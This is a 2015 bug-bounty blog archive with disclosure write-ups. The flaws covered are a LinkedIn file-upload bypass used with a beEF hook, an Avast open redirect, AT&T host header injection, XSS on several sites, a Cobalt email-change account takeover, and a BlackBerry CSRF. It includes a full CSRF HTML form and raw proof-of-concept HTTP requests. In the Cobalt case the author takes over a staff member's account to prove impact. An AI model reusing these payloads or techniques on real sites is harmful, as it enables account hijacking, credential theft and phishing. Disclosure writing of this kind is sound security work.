Archive for 2015

LinkedIn - Unrestricted File Upload

Add Comment


Hi All,

Once upon a time LinkedIn Introduced one new feature in their message which is file upload.
i.e. While sending message to one LinkedIn user, you can upload the file.

Introduction:-

 What is unrestricted file upload bug ?
Uploaded files represents a significant risk to the application. When we see the upload functionality in the application as a bug hunter we generally try to upload malicious file on the server and do all malicious activity.
Please note I said server. If the attacker successfully uploads the malicious file on the server than its simply GAME OVER.

How its started :- 

 Once upon a time during December 2014, I was trying to send the message to one of my colleague, during that time I observed that LinkedIn introduced one new feature of uploading file, that was a day when i just entered into bug hunting and all, from my mentor who found a bunch of bugs on LinkedIn platform being inspired from him I also started digging deep into this new functionality In a hope to get some juicy fruits.

Proof of Concept:- 

During my research I observed this new functionality of sending messages with upload function option can be easily used to perform malicious activity.

Part 1:- 
Bypassing client side validation to upload malicious file 

 Attacker :- Nilesh
Victim   :-  Nikhil

1] Attacker sending malicious file to his colleague  Nikhil



2] Because of the client side validation you can not send any malicious file to your colleagues :(




 Bypassing  client side validation

3] Change the file extension and upload the file. I have changed the file extension from .php to .txt
    No error, file uploaded successfully.
   [LinkedIn not verifying File contents :P]



4] Next step to capture the request in proxy like burp



5] Changing the file extension from .txt to .php



6] BINGO - No Server side validation in place and malicious file sent to the user  :)
    (Client side validation bypassed)



Hold on, If you have read the Introduction carefully so I have explicitly specified that in most of the cases, while finding the bug related to file upload we generally upload file on server.
So attack will be more impactful if an attacker could able to upload file on the victim server.

BUT over here we are not uploading malicious file on LinkedIn server, but we are simply sending a malicious file via "LinkedIn Platform" to other LinkedIn users.




Fig :- Attacker using LinkedIn Platform to distribute malicious file to LinkedIn users.

So how this can be Impactful to other LinkedIn users ?

Answer is:-
To demonstrate the impact of file upload I have used the beEF framework by which I was able to hijack user credentials ;)

Part 2:- 
Exploiting the file upload vulnerability using beEF framework

Send malicious .html file to victim with beEF hook, that's it once victim will open the attached file and click on the message GAME OVER attacker will easily hijack user credentials.

How this can be done practically answer is using beEF hook. Well If you heard this term first time what is beEF, then I recommend you to read my this article

Kindly check video POC. How easily any malicious user can hijack other user credentials via LinkedIn platform.


Video POC :- 




Well After this I have reported this bug to LinkedIn Security and got the quick reply



Well So in this case I did not get any reward or T, If you know what I mean ;)

The reason behind this is I am not able to upload any malicious file on their server.

But Let me tell you one thing "Security researchers are not inherently entitled to money for finding security flaws." But yes its about learning new thing / learning a new way to hack.

Nevertheless, I am happy that I bypassed LinkedIn file upload restrictions.



Moral of the story:-

Lesson Learned:-
1] File upload bypass techniques
2] beEF framework
3] New Learning


Time-Line:

Vulnerability timeline:

Dec 12, 2014 at 06:02 PM : Reported to LinkedIn Security Team
Dec 12, 2014 at 11:48 PM : Received initial reply from LinkedIn Security Team
Dec 13, 2014 at 04:50 PM : Additional Information Provided
Apr 28, 2015 at 09:23 PM : Patched the reported bug
Nov 15, 2015 at 10:35 AM : Public Disclosed


Thank you for reading and I hope you learned something new.

Appreciate you comments and feedback. 

Avast- Open Redirection

Add Comment


Hi Everyone,

Recently I found bug on Avast platform which is open redirection.

Open Redirect vulnerability allows attacker of an web application to redirect users to any external sites. Here, there is no validation of the passed input by attacker. This is basically used in phishing attacks.

OR

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.


The vulnerability was a sneaky one, instead of writing a long article I decided to record it.
PS: Enjoy the song :)

You can watch the video on Youtube

OR

Video POC:- 



I would really be very glad to hear your feedback.

Thank you.

Host Header Injection - AT&T

6 Comments

Hi Everyone,

Recently while participating into AT&T Bug bounty program i have submitted bunch of bugs. Yes bunch of bugs. Well as i have already blog posted many bugs like  XSS, CSRF etc. So rather then blog posting those bug i will be describing one interesting bug which is Host header injection.

Introduction:- 

What is Host Header Injection ?
As the name suggest host header injection is attack in which an attacker can manipulate the Host header and cause the application to behave in unexpected ways. Header simply specifies which web site should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. In short if any malicious user is able to handle this header to their desired domain and if server is not validating it then it leads to host header injection

Why this happens ?
HTTP header injection occurs when Hypertext Transfer Protocol (HTTP) headers are dynamically generated based on user input.
OR
ANY site that does not validate HTTP Host: headers.

How to find this bug ? 
Verify the header of the request. Inject other domain in the header field and check the response.

What is impact of this bug ?
An attacker can simply send the wrong host in the requests and poison the cache of proxies/web server. It has nothing to do with the browser's cache.
Next time, a legitimate user tries to access the correct host but since the cache of the web server is poisoned with the attacker's domain, the legitimate user will be redirected to the attacker's domain.

How to mitigate this bug ?
Do NOT use the value of the Host header for anything.


Proof Of Concept:- 
So basically I was able to control the host header of AT&T. Below is the POC Request and Response.

 POC Request-

 GET /shopping-cart HTTP/1.1
Host: telephones.att.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Modified POC Request- 

GET / HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

POC Payload - 

Host: google.com
Host: anymalicioussite.com

POC Response

HTTP/1.1 301 Moved Permanently
Date:Fri,03 Jul 2015 08:52:16 GMT
Location: http://google.com
Content-Length:226
Keep-Alive:timeout=5,max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

After reporting this bug they fix this issue as below:-

HTTP/1.1 400 Bad Request
Date: Sun, 18 Oct 2015 14:22:41 GMT
Server: Apache
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1



AT&T fixed this issue and put my name on their security acknowledgements list.




As I mentioned earlier I have reported bunch of bugs and Host header injection is one of them so after fixing my all submitted bugs, they selected me for quarterly Top 10 Reporter Award :)




So wish me Luck :)


Video POC:- 

 Below is the video POC demonstration of this attack



Time-Line:

Vulnerability timeline:

 July 04, 2015 at 11:25 AM : Reported to AT&T Team
July 20, 2015 at 10:15 PM  : Received initial reply from AT&T Team
Aug 06, 2015 at 11:19 PM  : AT&T Team released a quick fix for the vulnerability
Oct  25, 2015 at 09:30 PM  : Public responsible disclosure

A Short Story on XSS sitting inside Login Page

2 Comments

Hi Everyone,

In this blog I will be discussing about xss in authentication. I prefer writing less about xss in the blog post but the xss which I found in 123contactform was from no where. So this forced me to write this blog post.

About 123Contact Form:-
123ContactForm is an online web form and survey builder. It helps designers create powerful web-based forms and surveys without any technical knowledge.
123ContactForm has become a worldwide top class online form and survey builder.
Well This all their site says under About Section

Introduction:-
Everyone knows about XSS, If not then you can refer from here.
Usually we find XSS either in url or in search parameter and so on...but what about authentication pages ?
If we talk about authentication page OR login page, we generally test for SQLi, Authentication bypass or Broken authentication related bugs and etc.

Well Do we think about XSS ???

Proof Of Concept:-

 The story starts when  I was on Login Page of 123Contact Form this time I was not thinking about SQLi , not authentication bypass and not about session related bugs but what I was thinking is XSS.

So rather than writing my username and password, I simply injected xss script as a payload in username field. I know this might me funny try from my end. After injecting the script I fired up burp suite to see the request-response in order to check where my payload is landing and whether they have any server side validation check or not.

I was so shocked to see the response :D

Below is the screenshot of the response:-



My input reflects in response as it is :D Well this is what an Xsser wants.




  • Vulnerable parameter:   Username and Password field



So I reported XSS Bug with my all time favorite CSRF ;)

After reporting XSS bug I got reply from their Support team.



 Hmmm So you guys seriously fixed all XSS bug ?? Ans is NO.

Well Again I XSSed their Create Account Section :P





2nd XSS on Create Account Section:- 



Finally they patched the bug:-


123ContactForm fixed this issue and put my name on their security acknowledgements list.


 Moral Of the Story: 
- Try thinking out of the box
- Always try new things and push yourself
- Easy findings always around you, but you just have to act smart to find that.


Time-Line:

Vulnerability timeline:

Aug  7, 2015  at 1:59 PM:  Reported to 123Contact Form Team
Aug 11, 2015 at 3:17 AM:  Received initial reply from 123Contact Form Team
Aug 12, 2015 at 4:26 PM:  123Contact Form Team released a quick fix for the vulnerability
Aug 12, 2015 at 4:42 PM:  Again Reported Another XSS
Sep 10, 2015 at 1:32 PM : 123Contact Form Team released a quick fix for the vulnerability
Oct  14, 2015 at 4:47 PM : Full disclosure

A Story Of How I Landed On Dating Site and Secured it

Add Comment

Imagesource


Hi Everyone,

This was the short story of how I Protected/Secured one of Indian Dating Site.

The Story started when I heard the news that Ashley Madison, an American most prominent dating website, has been hacked by Hacker.

After this breach they publicly announced below news :-



Well After reading the whole story I was like Dating Websites, What about in India ?
Do India have such Dating Sites ??
The answer is MANY:-




So I started searching top dating applications/sites which is popular in India. And here I found it.
I Installed the application and tried using it. Well being an single and testing dating application is really fun :D
So lets see If I can find any girl of my type :P


While my research was going on I came to know that they are using web module for authentication and chatting with other peoples same as mobile application :D
So I jumped into their web portal/site to find how that web site looks.

You won't believe, but this is the fact that this days when I see any Application or Site or Anything I see it as



So my Girl hunting was ON :P
And there it is I found some critical bugs on their site which can easily leads to full account takeover of many users even admin user also.

Now for me to takeover any user account is pretty easy task. But Being a White Hat Hacker I have to secure that dating site. Before the bad guy takes advantage of this. So my target is to responsibly submit this bug/Issues to site owner and tell them to fix it.

Before we go further please follow this Note:
I AM NOT GOING TO DISCLOSE THE SITE NAME WHICH I DEFACED SO DON'T ASK ME WHICH SITE IT WAS  :)

I found their CEO email address and all the details of their company. So I wrote nice email stating all the details of bug.

Emailed to the CEO -   Time: Jul 22 at 10:50AM
Got reply                 -   Time: Jul 22 at 10:53AM  <= See the time ;)


After exchanging a few emails.. Someone from their team send me below email:



OMG :D



That was not expected, Awesome isn't it ;)

Lets come back to Reporting part. So I  Reported all the bugs as follow:-

Proof Of Concept:-

 I found that their entire web application was vulnerable to XSS. Not 1-2 but bunch of many XSS.
XSS on Login,Signup, Visitors profile it was everywhere.


Imagesource


That time I was thinking about ashar javed tweet.

Ashar javed said:-


Imagesource


After finding XSS I came to know they have not protected user cookie value i.e
No HttpOnly Flag set in cookie :D

So next step you know very well #Session Hijacking  + Full account takeover :D

Also, I reported many other low hanging fruit as a findings.

Action taken by them:- 
After my all the submission. I asked them whether they patched bug or not. The action taken from their end
1] Removed Signup Option
2] Removed  Login Page module

 They fixed my all the bug in short duration of time.


 So Finally I got Appreciation Letter, Good money :D and #RESPECT  But my status remained  Single :P


MORAL OF THE STORY:

 If you are hacker then use your hacking skill to protect other user, you never know jesus will bless you like this.

I would like to thanks company CEO and their team who took security very seriously and Fixed all the bugs so quickly.


Thanks you for reading :)

Story Of My First Swag- HackerRank

6 Comments
Hi Everyone,

This will be a very short blog post on how I got my first swag.

Introduction:- 
This days I am regular user of hackerone platform for bug hunting. Well, one day I woke up started my machine and rather than going to hackerone url, I googled it and where I landed was at hackerrank site, whose name is similar to hacker one.

What is HackerRank?
HackerRank is a site for hackers from all over the world to solve programming problems in different CS domains like algorithms, machine learning and artificial intelligence, and to excel in different programming paradigms like functional programming.

WOW... What a site to learn coding :) So I registered myself on their platform. Well and you know all when I visit any site, I see it differently.

POC:- 

After my registration completed. I went to their setting section and guess what I found XSS  :D


I informed this bug to hackerrank team. And they fixed it right away.


Reward:- 

I would like to thank hackerone team for fixing bug so quickly and rewarding me with my first swag :D




This is my first swag so writing this blog post. But soon I will be writing more blogs on some interesting bugs which I found recently

So Stay Tuned.

A2 - Broken Authentication and Session Management leads to full account takeover

Add Comment
Hi Everyone,

In this Blog Post I will show you how I was able to reset all cobalt users passwords.

Introduction:- 

Cobalt is a bug bounty platform where security researcher participates in various programs. Cobalt itself runs a bug bounty program.


How it Started:-

Long time back when I was no where in to bug hunting. I have created my account on multiple platforms who runs bug bounty just to see how this program works and In a thought of soon I will participate,  Then later on when I sharpen my skill sets I I decided to start participating in bug bounty programs.

I started my bug hunting from normal sites which gives Hall Of Fame to Security Researcher and then I started on Hackerone platform. I got a good number of hits in that ;)

Later on I thought, lets try finding bugs on some other platform. I selected cobalt platform.
I started my research by checking their email address change functionality to check whether it's secured or not.

And there it is I found some juicy bug on their site which is quite interesting

Proof Of Concept:- 

 In every application you must have observed feature that you can reset your email id as an when you require. Similarly In Cobalt also that feature was there but problem here is their reset email address  module for changing users email id was vulnerable.

Explaining Furthermore,

Say,
1] There are two user who are part of cobalt User A and User B

2] User A has email address abc@gmail.com and

3] User B has email address xyz@gmail.com Then

4] If User A thinking to update his email to xyz@gmail.com then generally we get prompt message saying email address already taken OR email id already in used by someone.

But this is not happening here in cobalt. Hence if User A by mistakenly setting User B email address and that User B know this flow then he can reset User A Email address well this is it, Then this leads to full account takeover of all the cobalt users whose email id is @gmail.com.

Well this issue may looks small but hold on this is "Account Takeover bug"
Lets see the attack scenario.

Attack Scenario:-

=>Victim    - code who wants to change his email address to new email address
=>Attacker - nilesh knows this bug in cobalt

Victim as code thought to change his email address, so he decided to change his new email address as nilesh.s.sapariya@gmail.com

Now code is not aware that this user is already part of cobalt. Once code changes his email address to nilesh then nilesh receives email confirmation notification alert in his email address.

Nilesh knows this bug so nilesh will simply accepts the email confirmation mail. Once confirmed code mail address will be updated to nilesh mail address :)

Now, Nilesh will go to login page => Click on forgot password => Put his email address => bang nilesh resets code password

I explained this to cobalt security team And I got reply as below:-



Directly rejected.

They said its gmail behavior of not accepting dots(.)
https://support.google.com/mail/answer/10313?hl=en


Because the bug is any user (part of cobalt) If updating someone else email id(who is part of cobalt) then that someone by confirming the email confirmation link can reset the email address.

So I got this reply again.



So finally I decided to create video POC :
Its bit lengthy so If you have time so you can click here to see.  OR skip :)

After this video POC again I started explaining from the scratch and reply response continued and this mail thread gone bigger and bigger.

Again I have given entire explanation what is wrong happening here. And see what I got reply.




Kill me pls..


After that again on a same point discussion started this way reply response of all repeated things was going on,

I am trying to finish this short as there was so many communication happens.

Just to make them understand that:-
1st point: No user should have permission to set email address which other user already using in the same application (cobalt).
2nd point: No email confirmation link should be trigger, If victim changes email address to someone else who is part of cobalt.

Only this 2 point  :(


And note this was happening only for @gmail users and not for @cobalt users. Well but all cobalt users uses @gmail id.

Again I wrote explanation with all the point,



And Again See what I got a reply from their end




After this again same conversation got continued explaining each point again and again :(

While we are exchanging mails someone from their team, Putted my email address on his account for changing email

Well that's what attacker want to exploit this bug: :)


At this point of time I came to know again this guys doing something i.e he putted my email id in his account and I got mail notification alert.
So now I decided that I will takeover his account.But I will record everything so that they will understand. :P

So I created another Video POC demonstration but this time hacking cobalt team member account.
On below video POC you will see how I hacked cobalt team member account and changed his password :-



PS: He sets 2 factor Authentication but then he has no way to change his password after I take over his account

Later on his team member asked me for the password which I changed it :P XD




I gave him the password which I reseted. But you know what if he will try to change his password then again notification will be trigger to my email id. So Again I can change his reset password and there is no way he can reset it back.

THIS IS THE IMPACT OF THIS BUG.

Anyways, later on Cobalt senior member fixed this bug by not allowing users to update existing used email address which is already part of cobalt


So now no users can update email address which someone else using in cobalt. So no account takeover possible.

So finally they patched the bug.


So What I Got is :- 

1] Reward: Declined




Yes you heard it right they said the reason "This turned out to be invalid, and you ignored our repeated mentions of the GMail-.-artifact."

Phewwwww.....I have no comments here.

At the end:
I would like to thanks Cobalt team for fixing this bug. And I appreciated what reward they have given me.
#Happy Learning For Me  :/



Well well well wait this is not ended yet.

MORAL OF THE STORY:-

=>Never Give Up. Do not give it up ever If such things happen to any Security Researcher.

=> Focus where your research got appreciated and work hard on it.

Final Take Away :




Thank you for reading.

Bug Bounty Index Page

Add Comment

CSRF bug in Blackberry To Update All Users Profile

7 Comments


Hello everyone,

This is my first write-up and i would like to start it with the CSRF vulnerability that I've found recently in Blackberry domain by using this bug i was able to change any user profile information ;)

Introduction:-

Few months back, I had taken presentation on the topic Cross-Site Request Forgery at Null-Mumbai chapter meet, You can find my slides here Its all about CSRF . And also I had taken seminar explaining various ways to bypass CSRF tokens.
Well all this motivated me to research more about CSRF bug and its bypasses techniques.
Then I started digging deep to find these types of bugs



So here my first experience goes...

About BlackBerry Beta Zone : Site says it has 400,000 members and growing!

I started doing my security research on BlackBerry. While I was checking this portal for finding bug I came across the user profile details where they have not set any protection against CSRF.
Which means by using this bug I can able to change all the users profile information.

Now for me it's like having cup of tea :P




Proof Of Concept:-

This attack works by sending a crafted request to victim and victim has to click on the request.
So I crafted forged html request as below.

<html>
  <body>
    <form action="https://beta.webapps.blackberry.com/profiles/update/1301" method="POST">
      <input type="hidden" name="formKey" value="b60252de0a9e6c85fd78c480dc736562aba3c11c9ba5f27d0e4ebe8decc827b9" />
      <input type="hidden" name="formPageId" value="5190" />
      <input type="hidden" name="data&#91;person&#93;&#91;name&#95;first&#93;" value="Hacked_By_Nilesh" />
      <input type="hidden" name="data&#91;person&#93;&#91;name&#95;last&#93;" value="Hackerz are here" />
      <input type="hidden" name="data&#91;location&#93;&#91;city&#93;" value="mumbai" />
      <input type="hidden" name="data&#91;location&#93;&#91;country&#95;id&#93;" value="183" />
      <input type="hidden" name="quest&#95;572" value="1729" />
      <input type="hidden" name="quest&#95;577" value="" />
      <input type="hidden" name="quest&#95;380" value="781" />
      <input type="hidden" name="quest&#95;381" value="790" />
      <input type="hidden" name="check&#95;387&#91;&#93;" value="819" />
      <input type="hidden" name="applybtn" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


BEFORE:- Victim Account Information



AFTER: Victim Account Details changed after clicking on request sent by attacker



So i wrote nice mail to blackberry security team explaining this issue. After reporting my submission, blackberry security team was not able to find my report :(



At-last after exchanging few mails with blackberry security team I got a reply.




I am happy that they patched this bug so quickly and here I got this HOF (Hall Of Fame) :D

Hall Of Fame:- 



Video POC:-

Below is the video POC demonstration of this attack : (Enjoy the music ;))



Time-Line:

Vulnerability timeline:

July 12, 2015 at 5:43  PM : Reported to vendor- Blackberry Team
July 15, 2015 at 1:45 AM : Received initial reply from Blackberry Team
July 30, 2015 at 2:30 AM : Blackberry Team released a quick fix for the vulnerability
Aug 10, 2015 at 6:30 PM : Public responsible disclosure
Subscribe to: Posts (Atom)